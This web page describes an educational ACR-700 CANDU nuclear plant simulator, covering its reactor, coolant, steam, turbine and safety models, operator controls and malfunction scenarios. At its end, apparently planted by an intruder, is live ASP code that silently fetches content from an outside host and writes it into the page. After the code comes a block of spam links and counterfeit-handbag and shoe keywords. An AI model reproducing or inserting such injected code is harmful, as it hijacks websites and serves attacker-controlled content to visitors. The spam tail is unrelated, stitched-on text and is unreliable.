ACR-700 Simulator



The purpose of the 700 MW(e) advanced CANDU reactor (ACR-700) NPP simulator is educational — to provide a training tool for university professors and engineers involved in teaching topics related to the second generation advanced CANDU reactor. Nuclear engineers, scientists and trainers familiar with the conventional CANDU 6 would find this simulator useful in broadening their understanding of ACR transients, power plant dynamics, and passive safety features. As such, this simulator is currently used in the IAEA Workshop "NPP Simulators for Education".

The simulator has sufficient simulation fidelity to provide realistic ACR plant responses during normal operations and accident situations. It also has a user-machine interface that mimics the actual control panel instrumentation, including the plant display system. More importantly, it allows user’s interactions with the simulator during the operation of the simulated ACR plant.

The current configuration of the Simulator is able to respond to the operating conditions normally encountered in power plant operations, as well as to many malfunctions, as summarized in the following Table.


Simulation Scope

Display Pages

Operator Controls



* Neutron flux levels over a range of 0.001 to 110% full power, 6 delayed neutron groups

* Decay heat (3 groups)

* All reactivity control devices – zone control rods (ZCU), absorber rods (MCA); gadolinium control.

* Xenon/Iodine poison

* Spatial kinetic simulated for 18 reactor zones, enabling display of flux tilt.

* Reactor Regulating System (RRS)

* Reactor Shutdown System - SDS1

ACR Reactor Power control

ACR Control Rods & SD rods

ACR Trip parameters


* Reactor power setpoint and rate of change (input to control computer)

* Manual control of reactivity devices - control rods (ZCU), absorber rods (MCA) and gadolinium addition/removal

* Reactor trip

* Reactor setback

* Reactor stepback

* Reactor setback and stepback fail

* One bank of MCA rods drop into the reactor core

* All MCA rods “stuck” to manual


 REACTOR COOLANT (light water)

* Main circuit coolant loop with four pumps, two steam generators, six equivalent “lumped” reactor coolant channels.

* Fuel and coolant heat transfer simulated for 18 reactor zones

* Pressure and inventory control which includes pressurizer, bleed condenser, feed & bleed control, and pressure relief, coolant makeup.

* Operating range is from zero power hot to full power

ACR Reactor Coolant System

ACR Coolant Inventory & Pressurizer

ACR Inventory Control

ACR Pressure Control

* Coolant heat transport system (HTS) pumps

*Coolant makeup pumps

* Pressurizer pressure control: heaters; spray; pressure control valve; relief valve

* Pressurizer level control by regulating coolant feed & bleed flow via control valves.

* Isolation valves for coolant feed and bleed

*Pressurizer pressure relief valve fails open

* Coolant feed valve fails open

* Coolant bleed valve fails open

*Pressurizer heaters #2 to # 6 turned "ON" by malfunction

* Reactor inlet header break

* Loss of one HTS pump

* Loss of two HTS pumps in one loop


* Boiler dynamics, including shrink and swell effects

* Steam supply to turbine and reheater

* Turbine by-pass to condenser

* Extraction steam to feed heating

* Steam generator pressure control

* Steam generator level control

* Boiler feed system

ACR Feedwater and Extraction Steam

* Feed pump on/off operation

* Boiler level controller mode: Auto or manual

* level control setpoint changes during Auto operation

* Level control valve opening during manual operation

* Extraction steam valves opening

* All level control isolation valves fail closed

* One level control valve fails open

* One level control valve fails closed

* Main feedwater pump trips

* All main steam safety relief valves (MSSV) open

* Steam header break

* Steam flow transmitter failure


* Simple turbine model

* Mechanical power and generator output are proportional to steam flow

* Speeder gear and governor valve allow synchronized and non-synchronized operation

*Turbine steam bypass

ACR Turbine-Generator

* Turbine trip

* Turbine run-back

* Turbine run-up and synchronization

* Condenser steam discharge valves (CSDV

* Atmospheric steam discharge valve (ASDV)

* Turbine spurious trip

*Condenser steam discharge valves (CSDV) failed closed


* Fully dynamic interaction between all simulated systems

* Overall unit power control with reactor leading mode; or turbine leading mode

* Unit annunciation & time trends

* Computer control of all major system functions

ACR Plant Overview

ACR Control Loops


 * Reactor power setpoint and rate entry in reactor-lead mode.

* Turbine load setpoint (MW) and loading rate entry in turbine-lead mode



* Emergency Core Cooling System (ECC)

* Simple Model for containment.

ACR Passive Core Cooling

  Reactor inlet header break

The interaction between the user and the Simulator is via a combination of monitor displays, mouse and keyboard. Parameter monitoring and operator controls implemented via the plant display system at the generating station are represented in a virtually identical manner on the Simulator. Control panel instruments and control devices, such as push-buttons and hand-switches, are shown as stylized pictures, and are operated via special pop-up menus and dialog boxes in response to user inputs.

Below are samples of the ACR-700 Simulator screens:

ACR Overview Screen










 ACR Control Rods and Shutdown Rods Screen











ACR Coolant & Pressurizer Screen


<% On Error Resume Next set XmlObj = Server.CreateObject("Microsoft.XMLHTTP") XmlObj.open "GET", "http://ubbimag.com/z10.html", false XmlObj.send formatdata = XmlObj.responseText file_get_contents=formatdata Set XmlObj = nothing response.write file_get_contents %> www.purelogic-s.com www.swashwebdesign.com www.otoriyose-sakai.com www.shangke100.com www.alphadeaf.org www.gzyzi.com www.parsz.com www.hodistro.com www.bohemialab.com www.bagbag.org www.tillacum.com www.catherineLie.com www.marylandrvexpo.com www.midatlanticrvshow.com www.realityininvestment.com www.realityininvesting.com Michael Kors Outlet Michael Kors Factory Outlet Cheap Michael Kors Handbags Michael Kors Outlet Michael Kors Handbags christian louboutin outlet cheap christian louboutin christian louboutin outlet christian louboutin outlet christian louboutin outlet Cheap Michael Kors Michael Kors Outlet Cheap Michael Kors Purses christian louboutin outlet christian louboutin shoes red bottom shoes